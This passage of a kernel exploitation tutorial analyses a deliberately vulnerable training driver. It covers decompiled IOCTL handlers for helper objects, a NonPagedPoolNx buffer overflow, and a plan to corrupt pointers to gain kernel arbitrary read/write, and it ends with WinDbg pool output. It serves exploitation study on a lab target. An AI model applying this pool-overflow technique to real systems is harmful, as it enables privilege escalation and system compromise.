The first one, ARW_HELPER_OBJECT_NON_PAGED_POOL_NX is the kernel mode structure and it is only used on KM address space, the second one, ARW_HELPER_OBJECT_IO is the one we are passing from the User mode to the kernel mode.

Now we will see the functions in charge of each thing:

NOTE: all use ARW_HELPER_OBJECT_IO as an argument

IOCTL codes

The IOCTLs are found in the IOCTLhandler of KlfhHEVD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
...
          case 0x222063u:
            DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
            FakeObjectNonPagedPoolNxIoctlHandler = CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler(
                                                     Irp,
                                                     CurrentStackLocation);
            v7 = "****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n";
            goto LABEL_62;
          case 0x222067u:
            DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
            FakeObjectNonPagedPoolNxIoctlHandler = SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(
                                                     Irp,
                                                     CurrentStackLocation);
            v7 = "****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n";
            goto LABEL_62;
          case 0x22206Bu:
            DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
            FakeObjectNonPagedPoolNxIoctlHandler = GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(
                                                     Irp,
                                                     CurrentStackLocation);
            v7 = "****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n";
            goto LABEL_62;
          case 0x22206Fu:
            DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
            FakeObjectNonPagedPoolNxIoctlHandler = DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler(
                                                     Irp,
                                                     CurrentStackLocation);
            v7 = "****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n";
            goto LABEL_62;
...

CreateArbitraryReadWriteHelperObjectNonPagedPoolNx (0x222063)

This function is responsible for creating the object in the kernel and indexing it in the array.

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
  _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
  __int64 result; // rax

  Parameters = IrpSp->Parameters.CreatePipe.Parameters;
  result = 0xC0000001LL;
  if ( Parameters )
    return CreateArbitraryReadWriteHelperObjectNonPagedPoolNx((_ARW_HELPER_OBJECT_IO *)Parameters);
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
__int64 __fastcall CreateArbitraryReadWriteHelperObjectNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
  SIZE_T Length; // r15
  int FreeIndex; // eax
  __int64 v4; // rsi
  _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *PoolWithTag; // r14
  PVOID v7; // r12

  ProbeForRead(HelperObjectIo, 0x18u, 1u);
  Length = HelperObjectIo->Length;
  DbgPrintEx(0x4Du, 3u, "[+] Name Length: 0x%X\n", Length);
  FreeIndex = GetFreeIndex();
  v4 = FreeIndex;
  if ( FreeIndex == -1 )
  {
    DbgPrintEx(0x4Du, 3u, "[-] Unable to find FreeIndex: 0x%X\n", -1);
    return 0xFFFFFFFFLL;
  }
  else
  {
    DbgPrintEx(0x4Du, 3u, "[+] FreeIndex: 0x%X\n", FreeIndex);
    DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk for ARWHelperObject\n");
    PoolWithTag = (_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *)ExAllocatePoolWithTag(NonPagedPoolNx, 0x10u, 0x6B636148u);
    if ( PoolWithTag )
    {
      DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject Pool Tag: %s\n", "'kcaH'");
      DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject Pool Type: %s\n", "NonPagedPoolNx");
      DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject Pool Size: 0x%X\n", 16);
      DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject Pool Chunk: 0x%p\n", PoolWithTag);
      DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk for Name\n");
      v7 = ExAllocatePoolWithTag(NonPagedPoolNx, Length, 0x6B636148u);
      if ( v7 )
      {
        DbgPrintEx(0x4Du, 3u, "[+] Name Pool Tag: %s\n", "'kcaH'");
        DbgPrintEx(0x4Du, 3u, "[+] Name Pool Type: %s\n", "NonPagedPoolNx");
        DbgPrintEx(0x4Du, 3u, "[+] Name Pool Size: 0x%X\n", Length);
        DbgPrintEx(0x4Du, 3u, "[+] Name Pool Chunk: 0x%p\n", v7);
        memset(v7, 0, Length);
        PoolWithTag->Name = v7;
        PoolWithTag->Length = Length;
        DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject->Name: 0x%p\n", v7);
        DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject->Length: 0x%X\n", PoolWithTag->Length);
        g_ARWHelperObjectNonPagedPoolNx[v4] = PoolWithTag;
        ProbeForWrite(HelperObjectIo, 0x18u, 1u);
        HelperObjectIo->HelperObjectAddress = PoolWithTag;
        DbgPrintEx(0x4Du, 3u, "[+] HelperObjectIo->HelperObjectAddress: 0x%p\n", PoolWithTag);
        return 0;
      }
      else
      {
        DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk for Name\n");
        return 0xC0000017LL;
      }
    }
    else
    {
      DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk for ARWHelperObject\n");
      return 0xC0000017LL;
    }
  }
}

Now without the debug messages:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall CreateArbitraryReadWriteHelperObjectNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
  SIZE_T Length; // r15
  int FreeIndex; // eax
  __int64 v4; // rsi
  _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *PoolWithTag; // r14
  PVOID v7; // r12

  ProbeForRead(HelperObjectIo, 0x18u, 1u);
  Length = HelperObjectIo->Length;
  FreeIndex = GetFreeIndex();
  v4 = FreeIndex;
  if ( FreeIndex == -1 )
  {
    return 0xFFFFFFFFLL;
  }
  else
  {
    PoolWithTag = (_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *)ExAllocatePoolWithTag(NonPagedPoolNx, 0x10u, 'kcaH');
    if ( PoolWithTag )
    {
      v7 = ExAllocatePoolWithTag(NonPagedPoolNx, Length, 0x6B636148u);
      if ( v7 )
      {
        memset(v7, 0, Length);
        PoolWithTag->Name = v7;
        PoolWithTag->Length = Length;
        g_ARWHelperObjectNonPagedPoolNx[v4] = PoolWithTag;
        ProbeForWrite(HelperObjectIo, 0x18u, 1u);
        HelperObjectIo->HelperObjectAddress = PoolWithTag;
        return 0;
      }
      else
      {
        return 0xC0000017LL;
      }
    }
    else
    {
      return 0xC0000017LL;
    }
  }
}

Basically, the first important thing done is to find a free Index, which is done using the GetFreeIndex() function, which is in charge of getting a free index and registering it in the array:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall GetFreeIndex()
{
  unsigned int v0; // edx
  _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX **v1; // rax
  unsigned int v2; // ecx

  v0 = -1;
  v1 = g_ARWHelperObjectNonPagedPoolNx;
  v2 = 0;
  while ( *v1 )
  {
    ++v2;
    if ( (__int64)++v1 >= (__int64)&g_UseAfterFreeObjectNonPagedPool )
      return v0;
  }
  return v2;
}

Next, we allocate a _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX struct using ExAllocatePoolWithTag, and then we allocate a memory block of the size and contents specified in the ARW_HELPER_OBJECT_IO structure from user mode. Finally, both the address of the allocation and its size are recorded in _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, and in ARW_HELPER_OBJECT_IO, we store the _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX structure in the HelperObjectAddress member.

SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx (0x222067)

This function is responsible for writing memory into the HelperObjectAddress, which is the other object allocated in the kernel.

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
  _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
  __int64 result; // rax

  Parameters = IrpSp->Parameters.CreatePipe.Parameters;
  result = 3221225473LL;
  if ( Parameters )
    return SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx((_ARW_HELPER_OBJECT_IO *)Parameters);
  return result;
}

The main function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
  void *Name; // rsi
  void *HelperObjectAddress; // rdi
  int IndexFromPointer; // eax
  __int64 v5; // r14
  SIZE_T Length; // rdx

  ProbeForRead(HelperObjectIo, 0x18u, 1u);
  Name = HelperObjectIo->Name;
  HelperObjectAddress = HelperObjectIo->HelperObjectAddress;
  DbgPrintEx(0x4Du, 3u, "[+] HelperObjectIo->Name: 0x%p\n", Name);
  DbgPrintEx(0x4Du, 3u, "[+] HelperObjectIo->HelperObjectAddress: 0x%p\n", HelperObjectAddress);
  IndexFromPointer = GetIndexFromPointer(HelperObjectAddress);
  v5 = IndexFromPointer;
  if ( IndexFromPointer == -1 )
  {
    DbgPrintEx(0x4Du, 3u, "[-] Unable to find index from pointer: 0x%p\n", HelperObjectAddress);
    return 0xFFFFFFFFLL;
  }
  else
  {
    DbgPrintEx(0x4Du, 3u, "[+] Index: 0x%X Pointer: 0x%p\n", IndexFromPointer, HelperObjectAddress);
    if ( Name )
    {
      Length = g_ARWHelperObjectNonPagedPoolNx[v5]->Length;
      if ( Length )
      {
        ProbeForRead(Name, Length, 1u);
        DbgPrintEx(
          0x4Du,
          3u,
          "[+] Copying src: 0x%p dst: 0x%p len: 0x%X\n",
          Name,
          g_ARWHelperObjectNonPagedPoolNx[v5]->Name,
          g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
        memmove(g_ARWHelperObjectNonPagedPoolNx[v5]->Name, Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
      }
    }
    return 0;
  }
}

Now without the prints:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
  void *Name; // rsi
  void *HelperObjectAddress; // rdi
  int IndexFromPointer; // eax
  __int64 v5; // r14
  SIZE_T Length; // rdx

  ProbeForRead(HelperObjectIo, 0x18u, 1u);
  Name = HelperObjectIo->Name;
  HelperObjectAddress = HelperObjectIo->HelperObjectAddress;
  IndexFromPointer = GetIndexFromPointer(HelperObjectAddress);
  v5 = IndexFromPointer;
  if ( IndexFromPointer == -1 )
  {
    return 0xFFFFFFFFLL;
  }
  else
  {
    if ( Name )
    {
      Length = g_ARWHelperObjectNonPagedPoolNx[v5]->Length;
      if ( Length )
      {
        ProbeForRead(Name, Length, 1u);
        memmove(g_ARWHelperObjectNonPagedPoolNx[v5]->Name, Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
      }
    }
    return 0;
  }
}

The first step is to obtain the index just like in the previous function. This time, it’s assumed that the object is already in the pool, so the only thing needed is to find where it is. For that, it will use GetIndexFromPointer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall GetIndexFromPointer(void *Pointer)
{
  __int64 result; // rax
  unsigned int v2; // edx
  void **v4; // rcx

  result = 0xFFFFFFFFLL;
  v2 = 0;
  if ( Pointer )
  {
    v4 = (void **)g_ARWHelperObjectNonPagedPoolNx;
    while ( *v4 != Pointer )
    {
      ++v2;
      if ( (__int64)++v4 >= (__int64)&g_UseAfterFreeObjectNonPagedPool )
        return result;
    }
    return v2;
  }
  return result;
}

Then this line is executed, which is the truly important one:

1
2
3
...
memmove(g_ARWHelperObjectNonPagedPoolNx[v5]->Name, Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
...

Basically, what we’re doing is setting information from HelperObjectIo->Name into kernel address space, more specifically into the Name field of the allocated structure, again, based on the information passed to kernel mode through _ARW_HELPER_OBJECT_IO.

GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx (0x22206B)

This function is responsible for reading memory which is allocated on the HelperObjectAddress, which is the other object allocated in the kernel.

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
  _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
  __int64 result; // rax

  Parameters = IrpSp->Parameters.CreatePipe.Parameters;
  result = 3221225473LL;
  if ( Parameters )
    return GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx((_ARW_HELPER_OBJECT_IO *)Parameters);
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
  void *Name; // r14
  void *HelperObjectAddress; // rdi
  int IndexFromPointer; // eax
  __int64 v5; // rsi
  _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *v7; // rdx
  SIZE_T Length; // rdx

  ProbeForRead(HelperObjectIo, 0x18u, 1u);
  Name = HelperObjectIo->Name;
  HelperObjectAddress = HelperObjectIo->HelperObjectAddress;
  IndexFromPointer = GetIndexFromPointer(HelperObjectAddress);
  v5 = IndexFromPointer;
  if ( IndexFromPointer == -1 )
  {
    return 0xFFFFFFFFLL;
  }
  else
  {
    v7 = g_ARWHelperObjectNonPagedPoolNx[v5];
    if ( v7->Name )
    {
      Length = v7->Length;
      if ( Length )
      {
        ProbeForWrite(Name, Length, 1u);
        memmove(Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
      }
    }
    return 0;
  }
}

First, we obtain the Index just like before. Then, basically what we’re doing is retrieving information from the kernel and moving it into HelperObjectIo->Name, again based on the information provided to kernel mode through _ARW_HELPER_OBJECT_IO.

All of this is essentially done in the following line:

1
2
3
...
        memmove(Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
...

DeleteArbitraryReadWriteHelperObjecNameNonPagedPoolNx (0x22206F)

1
2
3
4
5
6
7
8
9
10
11
int __fastcall DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
  _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
  int result; // eax

  Parameters = IrpSp->Parameters.CreatePipe.Parameters;
  result = 0xC0000001;
  if ( Parameters )
    return DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx((_ARW_HELPER_OBJECT_IO *)Parameters);
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
  void *HelperObjectAddress; // rdi
  int IndexFromPointer; // eax
  __int64 v4; // rsi
  void *Name; // rcx

  ProbeForRead(HelperObjectIo, 0x18u, 1u);
  HelperObjectAddress = HelperObjectIo->HelperObjectAddress;
  DbgPrintEx(0x4Du, 3u, "[+] HelperObjectIo->HelperObjectAddress: 0x%p\n", HelperObjectAddress);
  IndexFromPointer = GetIndexFromPointer(HelperObjectAddress);
  v4 = IndexFromPointer;
  if ( IndexFromPointer == -1 )
  {
    DbgPrintEx(0x4Du, 3u, "[-] Unable to find index from pointer: 0x%p\n", HelperObjectAddress);
    return 0xFFFFFFFFLL;
  }
  else
  {
    DbgPrintEx(0x4Du, 3u, "[+] Index: 0x%X Pointer: 0x%p\n", IndexFromPointer, HelperObjectAddress);
    Name = g_ARWHelperObjectNonPagedPoolNx[v4]->Name;
    if ( Name )
      ExFreePoolWithTag(Name, 0x6B636148u);
    ExFreePoolWithTag(g_ARWHelperObjectNonPagedPoolNx[v4], 0x6B636148u);
    g_ARWHelperObjectNonPagedPoolNx[v4] = 0;
    return 0;
  }
}

I won’t go too deep into this one, this function helps us delete objects from the pool, freeing all allocated spaces and marking their position in the Index array as free, all based on index logic.

Now that we’ve covered all the objects, let’s move on to the final piece of our puzzle, the buffer overflow. You may be wondering: What good is a buffer overflow for us? Good question. Here’s the plan:

Following the logic of the objects, we can conclude that one object indeed points to another via the HelperObjectAddress field. But what we want is to create our own _ARW_HELPER_OBJECT_IO struct at a controlled location and overwrite the address of our struct on top of where a generic one would go. Then, we locate the overwrite and gain arbitrary read/write capabilities by taking advantage of the kLFH. This is done by using Set with the struct index affected by the buffer overflow, and then reading it back using Get toward our controlled struct.

Pool Buffer Overflow

But to do all of this, we first need to understand how the function that allows us to perform the overflow works.

TriggerBufferOverflowNonPagedPoolNx (0x22204b)

1
2
3
4
5
6
7
...
          case 0x22204Bu:
            DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******\n");
            FakeObjectNonPagedPoolNxIoctlHandler = BufferOverflowNonPagedPoolNxIoctlHandler(Irp, CurrentStackLocation);
            v7 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******\n";
            goto LABEL_62;
...
1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall BufferOverflowNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
  _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
  __int64 result; // rax
  size_t Options; // rdx

  Parameters = IrpSp->Parameters.CreatePipe.Parameters;
  result = 0xC0000001LL;
  Options = IrpSp->Parameters.Create.Options;
  if ( Parameters )
    return TriggerBufferOverflowNonPagedPoolNx(Parameters, Options);
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall TriggerBufferOverflowNonPagedPoolNx(void *UserBuffer, size_t Size)
{
  PVOID PoolWithTag; // rdi

  DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk\n");
  PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 0x10u, 'kcaH');
  if ( PoolWithTag )
  {
    DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPoolNx");
    DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 16);
    DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
    ProbeForRead(UserBuffer, 0x10u, 1u);
    DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
    DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
    DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", PoolWithTag);
    DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 16);
    DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in NonPagedPoolNx\n");
    memmove(PoolWithTag, UserBuffer, Size);
    DbgPrintEx(0x4Du, 3u, "[+] Freeing Pool chunk\n");
    DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
    ExFreePoolWithTag(PoolWithTag, 'kcaH');
    return 0;
  }
  else
  {
    DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
    return 0xC0000017LL;
  }
}

Basically, it’s as simple as this line:

1
2
3
...
    memmove(PoolWithTag, UserBuffer, Size);
...

We’re simply moving the content we want, with the size we want, into a pool block.

The size of the allocation is 0x10 so we have no any problem:

1
2
3
...
  PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 0x10u, 'kcaH');
...

Before diving into the exploit, I’d like to show both a full block allocation by KlfhHEVD and extract the _POOL_HEADER since we’ll need it for the overflow overwrite to avoid corrupting the HEAP:

1: kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ffb`7d0cd642 cc              int     3
3: kd> dq rcx
000000d8`f11f0a28  00000000`00000000 90909090`90909090
000000d8`f11f0a38  ffffa508`9e59ad10 00000000`00000000
000000d8`f11f0a48  00000000`00000008 00000000`00000000
000000d8`f11f0a58  00000000`00000000 00000000`00000000
000000d8`f11f0a68  00000000`00000000 00000000`00000000
000000d8`f11f0a78  00000000`00000000 00000000`00000000
000000d8`f11f0a88  00000000`00000000 00000000`00000000
000000d8`f11f0a98  00000000`00000000 00000000`00000000
3: kd> r
rax=0000000000000001 rbx=0000000000001388 rcx=000000d8f11f0a28
rdx=0000000000000000 rsi=00007ff6c5dbffc0 rdi=000000000000270e
rip=00007ffb7d0cd642 rsp=000000d8f11f09c8 rbp=000000d8f11f0ad0
 r8=000000d8f11f0908  r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=00007ff6c5d85670 r13=0000000000000000
r14=00000000000000b8 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0033:00007ffb`7d0cd642 cc              int     3
3: kd> !pool ffffa508`9e59ad10
Pool page ffffa5089e59ad10 region is Nonpaged pool
 ffffa5089e59a000 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a020 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a040 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a060 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a080 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a0a0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a0c0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a0e0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a100 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a120 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a140 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a160 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a180 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a1a0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a1c0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a1e0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a200 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a220 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a240 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a260 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a280 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a2a0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a2c0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a2e0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a300 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a320 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a340 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a360 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a380 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a3a0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a3c0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a3e0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a400 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a420 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a440 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a460 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a480 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a4a0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a4c0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a4e0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a500 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a520 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a540 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a560 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a580 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a5a0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a5c0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a5e0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a600 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a620 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a640 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a660 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a680 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a6a0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a6c0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a6e0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a700 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a720 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a740 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a760 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a780 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a7a0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a7c0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a7e0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a800 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a820 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a840 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a860 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a880 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a8a0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a8c0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a8e0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a900 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a920 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a940 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a960 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a980 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a9a0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a9c0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59a9e0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aa00 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aa20 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aa40 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aa60 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aa80 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aaa0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aac0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aae0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ab00 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ab20 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ab40 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ab60 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ab80 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aba0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59abc0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59abe0 size:   20 previous size:    0  (Allocated)  Hack
